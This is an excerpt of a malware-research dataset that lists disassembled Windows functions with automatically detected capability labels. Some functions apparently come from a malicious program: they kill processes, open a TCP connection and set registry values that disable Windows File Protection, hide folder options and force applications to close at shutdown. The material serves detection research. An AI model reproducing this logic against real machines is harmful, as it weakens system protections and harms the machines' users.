joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45e8dc
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x45e914
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0045c993
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0045c96b
jmp 0x45e920
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x45ffca
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x46000c
call fcn.00465d4c
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x46000c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x460003
xor eax, eax
jmp 0x460014
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0046001a
pop edi
pop esi
pop ebx
ret 4

Function at 0x46627c
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4662aa
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4662c8
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004661e2
jmp 0x4662c8
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4662c8
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004661e2
test edi, edi
mov eax, edi
jne 0x4662b2
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401020
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push esi
mov esi, ecx
push edi
push str.operator_open_socket
mov ecx, 0x42f778
call fcn.00403bf1
push 0x401250
push 0xa
mov ecx, eax
call fcn.00403aaa
mov ecx, eax
call fcn.00401190
push 6
push 1
push 2
call sub.WSOCK32.dll_socket
mov dword [esi], eax
mov eax, dword [esp + 0x10]
lea edi, [esi + 4]
push eax
mov word [edi], 2
call sub.WSOCK32.dll_htons
mov ecx, dword [esp + 0xc]
mov word [esi + 6], ax
push ecx
call sub.WSOCK32.dll_inet_addr
mov edx, dword [esi]
push 0x10
push edi
push edx
mov dword [esi + 8], eax
call sub.WSOCK32.dll_connect
mov dword [esi + 0x14], eax
inc eax
neg eax
sbb eax, eax
pop edi
and eax, 2
pop esi
dec eax
ret 8

Function at 0x4010a0
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x34
mov eax, dword [esp + 0x38]
push ebx
push esi
mov ebx, ecx
push edi
mov dword [esp + 0xc], eax
mov edi, 0x40e068
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [ebx]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x34
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
push edx
call sub.WSOCK32.dll_send
mov dword [ebx + 0x14], eax
inc eax
neg eax
sbb eax, eax
pop edi
and eax, 2
pop esi
dec eax
pop ebx
add esp, 0x34
ret 4

Function at 0x401810
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
push edi
test eax, eax
jne 0x401829
mov eax, dword [esi + 0xc]
test eax, eax
jne 0x401904
mov eax, dword [esi]
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
push eax
push 0
push 1
call edi
test eax, eax
je 0x401904
mov ecx, dword [esi]
push ecx
push 0
push 1
call edi
mov esi, eax
test esi, esi
jne 0x401886
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._KillProcess::open_process_defeat___
mov ecx, 0x42f778
call fcn.00403bf1
mov ecx, eax
call fcn.00404073
push 0x401250
push 0xa
mov ecx, eax
call fcn.00403aaa
mov ecx, eax
call fcn.00401190
pop edi
xor eax, eax
pop esi
ret
push 1
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x4018d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.KillProcess::terminate_defeat___
mov ecx, 0x42f778
call fcn.00403bf1
mov ecx, eax
call fcn.00404073
push 0x401250
push 0xa
mov ecx, eax
call fcn.00403aaa
mov ecx, eax
call fcn.00401190
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
ret
push str.KillProcess::terminate_successfull___
mov ecx, 0x42f778
call fcn.00403bf1
push 0x401250
push 0xa
mov ecx, eax
call fcn.00403aaa
mov ecx, eax
call fcn.00401190
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
ret
mov edx, dword [esi + 0xc]
push 0
push 0
push 0x10
push edx
call dword [sym.imp.USER32.dll_PostMessageA]
pop edi
mov eax, 1
pop esi
ret
Function at 0x401920
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 8]
push esi
test eax, eax
je 0x4019f3
mov eax, dword [esp + 8]
push eax
push 0
push 0xf0001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4019c1
push 1
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x40198f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.KillProcess_pid::terminate_process_defeat___
mov ecx, 0x42f778
call fcn.00403bf1
mov ecx, eax
call fcn.00404073
push 0x401250
push 0xa
mov ecx, eax
call fcn.00403aaa
mov ecx, eax
call fcn.00401190
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
ret
push str.KillProcess_pid::terminate_successfull___
mov ecx, 0x42f778
call fcn.00403bf1
push 0x401250
push 0xa
mov ecx, eax
call fcn.00403aaa
mov ecx, eax
call fcn.00401190
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.KillProcess_pid::open_process_defeat___
mov ecx, 0x42f778
call fcn.00403bf1
mov ecx, eax
call fcn.00404073
push 0x401250
push 0xa
mov ecx, eax
call fcn.00403aaa
mov ecx, eax
call fcn.00401190
mov eax, 1
pop esi
ret
Function at 0x402060
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40bcc0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
push 0x40
mov dword [ebp - 4], ebx
call fcn.004058db
add esp, 4
push 0x100
call fcn.004058db
add esp, 4
mov edi, eax
mov dword [ebp - 0x18], edi
push 8
call fcn.004058db
add esp, 4
lea eax, [ebp - 0x14]
push eax
push 0x20019
push ebx
push ebx
push reloc.WSOCK32.dll_closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.begin....
mov ecx, 0x42f778
mov esi, eax
call fcn.00403bf1
push 0xa
mov ecx, eax
call fcn.00403aaa
push 0x401250
mov ecx, eax
call fcn.00401190
push esi
mov ecx, 0x42f778
call fcn.0040470d
push 0xa
mov ecx, eax
call fcn.00403aaa
push 0x401250
mov ecx, eax
call fcn.00401190
test esi, esi
jne 0x402158
mov ecx, dword [ebp - 0x14]
push 0x100
push edi
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
cmp eax, 0x103
je 0x402151
mov ecx, dword [ebp + 8]
mov edx, ebx
shl edx, 6
add edx, ecx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0x18]
jmp 0x40210c
mov ecx, dword [ebp + 0xc]
mov dword [ecx], ebx
jmp 0x4021a4
push esi
mov ecx, 0x42f778
call fcn.0040470d
push 0xa
mov ecx, eax
call fcn.00403aaa
push 0x401250
mov ecx, eax
call fcn.00401190
mov edi, str.NULL
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, dword [ebp + 0xc]
mov edx, ecx
mov esi, edi
mov edi, dword [ebp + 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [eax], 0
push str.end....
mov ecx, 0x42f778
call fcn.00403bf1
push 0xa
mov ecx, eax
call fcn.00403aaa
push 0x401250
mov ecx, eax
call fcn.00401190
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402ad0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40bce0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x114
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x10], esp
push 0x200
mov dword [ebp - 4], esi
call fcn.004058db
add esp, 4
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
call fcn.00402210
mov ecx, dword [ebp - 0x14]
add esp, 4
add ecx, 0x100
push ecx
call fcn.0040baea
push eax
lea edx, [ebp - 0x120]
push str._sSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
push edx
call fcn.0040576d
add esp, 0x10
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x18]
lea edx, [ebp - 0x120]
push eax
push ecx
push esi
push 2
push esi
push 0x42f220
push esi
push edx
push reloc.WSOCK32.dll_closesocket
mov dword [ebp - 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
cmp eax, esi
jne 0x402baa
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x1c]
push 4
push eax
push 4
push esi
push str.NoFolderOptions
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push str.1_NoFolderOptions......
mov ecx, 0x42f778
mov esi, eax
call fcn.00403bf1
push esi
mov ecx, eax
call fcn.0040470d
push 0xa
mov ecx, eax
call fcn.00403aaa
push 0x401250
mov ecx, eax
call fcn.00401190
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x14]
push eax
call fcn.004058e9
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402bf0
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40bcf0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x21c
push ebx
push esi
push edi
mov edi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
lea ebx, [ebp - 0x128]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x10], esp
mov eax, ecx
mov esi, edi
mov edi, ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x14]
and ecx, 3
mov dword [ebp - 4], edx
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x20], edx
push ecx
push eax
push edx
push 2
push edx
push 0x42f220
lea ecx, [ebp - 0x128]
push edx
push ecx
push closesocket
call ebx
test eax, eax
jne 0x402cb4
lea edx, [ebp - 0x20]
push 4
push edx
push 4
push eax
mov eax, dword [ebp - 0x14]
push str.SFCDisable
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push str.1_NoFolderOptions......
mov ecx, 0x42f778
mov esi, eax
call fcn.00403bf1
push esi
mov ecx, eax
call fcn.0040470d
push 0xa
mov ecx, eax
call fcn.00403aaa
push 0x401250
mov ecx, eax
call fcn.00401190
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, str.SoftwarePoliciesMicrosoftWindows_NTWindows_File_Protection
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x228]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x1c], 0
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0x228]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x24]
push ecx
push edx
push 0
push 2
push 0
push 0x42f220
push 0
push eax
push closesocket
call ebx
test eax, eax
jne 0x402d5a
mov edx, dword [ebp - 0x18]
lea ecx, [ebp - 0x1c]
push 4
push ecx
push 4
push eax
push str.SFCDisable
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push str.1_NoFolderOptions......
mov ecx, 0x42f778
mov esi, eax
call fcn.00403bf1
push esi
mov ecx, eax
call fcn.0040470d
push 0xa
mov ecx, eax
call fcn.00403aaa
push 0x401250
mov ecx, eax
call fcn.00401190
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402da0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40bd00
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], esp
push 0x200
call fcn.004058db
add esp, 4
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
call fcn.00402210
mov ecx, dword [ebp - 0x14]
add esp, 4
add ecx, 0x100
push ecx
call fcn.0040baea
push eax
lea edx, [ebp - 0x11c]
push str._sControl_PanelDesktop
push edx
call fcn.0040576d
push str.3000
call fcn.0040baea
add esp, 0x14
mov esi, eax
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0x42f220
lea edx, [ebp - 0x11c]
push 0
push edx
push reloc.WSOCK32.dll_closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x402e88
push 4
push esi
push 1
push eax
mov eax, dword [ebp - 0x18]
push str.WaitToKillAppTimeout
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push str.2..._WaitToKillAppTimeout
mov ecx, 0x42f778
mov esi, eax
call fcn.00403bf1
push esi
mov ecx, eax
call fcn.0040470d
push 0xa
mov ecx, eax
call fcn.00403aaa
push 0x401250
mov ecx, eax
call fcn.00401190
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x14]
push edx
call fcn.004058e9
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402ed0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40bd10
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], esp
push 0x200
call fcn.004058db
add esp, 4
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
call fcn.00402210
mov ecx, dword [ebp - 0x14]
add esp, 4
add ecx, 0x100
push ecx
call fcn.0040baea
push eax
lea edx, [ebp - 0x11c]
push str._sControl_PanelDesktop
push edx
call fcn.0040576d
push str.2000
call fcn.0040baea
add esp, 0x14
mov esi, eax
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0x42f220
lea edx, [ebp - 0x11c]
push 0
push edx
push reloc.WSOCK32.dll_closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x402fb8
push 4
push esi
push 1
push eax
mov eax, dword [ebp - 0x18]
push str.HungAppTimeout
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push str.3...__HungAppTimeout
mov ecx, 0x42f778
mov esi, eax
call fcn.00403bf1
push esi
mov ecx, eax
call fcn.0040470d
push 0xa
mov ecx, eax
call fcn.00403aaa
push 0x401250
mov ecx, eax
call fcn.00401190
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x14]
push edx
call fcn.004058e9
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403000
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40bd20
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], esp
push 0x200
call fcn.004058db
add esp, 4
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
call fcn.00402210
mov ecx, dword [ebp - 0x14]
add esp, 4
add ecx, 0x100
push ecx
call fcn.0040baea
push eax
lea edx, [ebp - 0x11c]
push str._sControl_PanelDesktop
push edx
call fcn.0040576d
push 0x40e630
call fcn.0040baea
add esp, 0x14
mov esi, eax
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x18]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0x42f220
lea edx, [ebp - 0x11c]
push 0
push edx
push reloc.WSOCK32.dll_closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4030e8
push 4
push esi
push 1
push eax
mov eax, dword [ebp - 0x18]
push str.AutoEndTasks
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push str.4..._AutoEndTasks
mov ecx, 0x42f778
mov esi, eax
call fcn.00403bf1
push esi
mov ecx, eax
call fcn.0040470d
push 0xa
mov ecx, eax
call fcn.00403aaa
push 0x401250
mov ecx, eax
call fcn.00401190
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [ebp - 0x14]
push edx
call fcn.004058e9
add esp, 4
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403130
Capabilities:
Create thread

Disassembly:
push ecx
push ebx
push esi
push edi
push str.begin....
mov ecx, 0x42f778
call fcn.00403bf1
push 0x401250
push 0xa
mov ecx, eax
call fcn.00403aaa
mov ecx, eax
call fcn.00401190
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x401b80
push 0x800
push 0
call edi
lea ecx, [esp + 0xc]
mov esi, eax
push ecx
push 0
push 0
push 0x401ae0
push 0x800
push 0
call edi
mov edi, eax
call fcn.00402ad0
call fcn.00402bf0
call fcn.00402da0
call fcn.00402ed0
call fcn.00403000
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push esi
call ebx
push 0xffffffffffffffff
push edi
call ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
push str.end_..................
mov ecx, 0x42f778
call fcn.00403bf1
push 0x401250
push 0xa
mov ecx, eax
call fcn.00403aaa
mov ecx, eax
call fcn.00401190
pop edi
pop esi
mov eax, 1
pop ebx
pop ecx
ret 0x10
Function at 0x403550
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x1220
call fcn.004054a0
mov eax, dword [esp + 0x1228]
push ebx
push ebp
push esi
push edi
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [esp + 0x24]
lea edx, [esp + 0x230]
push ecx
mov ebx, eax
push 0x1000
push edx
push ebx
mov dword [esp + 0x30], ebx
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x403685
lea eax, [esp + 0x230]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x10], eax
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x12c]
push 0x104
push ecx
mov eax, dword [edx]
mov dword [esp + 0x1c], 0
push eax
push ebx
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x403668
lea edi, [esp + 0x12c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x28]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov esi, dword [esp + 0x1234]
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
cmp ebp, 1
jl 0x403662
lea edi, [esp + edx + 0x27]
lea esi, [esi + ebp - 1]
mov dword [esp + 0x18], ebp
movsx ecx, byte [esi]
push ecx
call fcn.004059cc
movsx edx, byte [edi]
push edx
mov bl, al
call fcn.004059cc
add esp, 8
cmp bl, al
jne 0x403651
inc dword [esp + 0x14]
mov eax, dword [esp + 0x18]
dec esi
dec edi
dec eax
mov dword [esp + 0x18], eax
jne 0x403632
mov ebx, dword [esp + 0x20]
cmp dword [esp + 0x14], ebp
jge 0x403699
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
inc eax
add edx, 4
cmp eax, 1
mov dword [esp + 0x1c], eax
mov dword [esp + 0x10], edx
jb 0x4035ac
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1220
ret
push str._successful_find___
mov ecx, 0x42f778
call fcn.00403bf1
push 0x401250
push 0xa
mov ecx, eax
call fcn.00403aaa
mov ecx, eax
call fcn.00401190
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1220
ret

Function at 0x4036e0
Capabilities:
Enumerate process modules

Disassembly:
mov eax, 0x1004
call fcn.004054a0
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push edi
push eax
lea ecx, [esp + 0x18]
push 0x1000
push ecx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x403714
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x1004
ret
mov ebx, dword [esp + 0x10]
mov esi, 0
shr ebx, 2
je 0x403745
mov ebp, dword [esp + 0x1018]
lea edi, [esp + 0x14]
mov edx, dword [edi]
push edx
push ebp
call fcn.00403550
add esp, 8
test eax, eax
jg 0x403752
inc esi
add edi, 4
cmp esi, ebx
jb 0x40372d
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1004
ret
mov eax, dword [esp + esi*4 + 0x14]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1004
ret
Function at 0x409304
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x409324
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00408e23
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x409345
test byte [esp + 8], 2
je 0x409345
mov dword [0x42f874], 0xd
mov dword [0x42f878], 5
jmp 0x409320
xor eax, eax
ret

Function at 0x40a16d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40eec8
cmp edx, dword [eax]
je 0x40a18f
add eax, 8
inc ecx
cmp eax, 0x40ef58
jl 0x40a180
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40eec8]
jne 0x40a2bd
mov eax, dword [0x42f84c]
cmp eax, 1
je 0x40a297
test eax, eax
jne 0x40a1c0
cmp dword [0x40e7d4], 1
je 0x40a297
cmp edx, 0xfc
je 0x40a2bd
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40a1f7
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00409950
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004061b0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40a23a
lea eax, [ebp - 0x1a4]
push eax
call fcn.004061b0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40c6ec
push edi
call fcn.0040b380
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00409950
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00409960
lea eax, [ebp - 0xa0]
push 0x40c6cc
push eax
call fcn.00409960
push dword [esi + 0x40eecc]
lea eax, [ebp - 0xa0]
push eax
call fcn.00409960
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0040b2ee
add esp, 0x2c
pop edi
jmp 0x40a2bd
lea eax, [ebp + 8]
lea esi, [esi + 0x40eecc]
push 0
push eax
push dword [esi]
call fcn.004061b0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x4031ca
Capabilities:
Terminate process

Disassembly:
jmp 0x42d519
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x42d52a
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405146
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x4032dd
Capabilities:
Query environment variable

Disassembly:
jmp 0x471d88
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x471d99
pop esi
ret
push ebx
push edi
push esi
call fcn.00471c6f
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403ae4
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x471dc1
push ebx
push esi
push edi
call fcn.00404f7a
add esp, 0xc
push 0
call fcn.004059ac
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x405015
Capabilities:
Parse pe header

Disassembly:
jmp 0x41fc01
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x41fc40
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41fc40
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41fc40
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x41fc40
cmp dword [ecx + 0x74], 0xe
jbe 0x41fc40
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret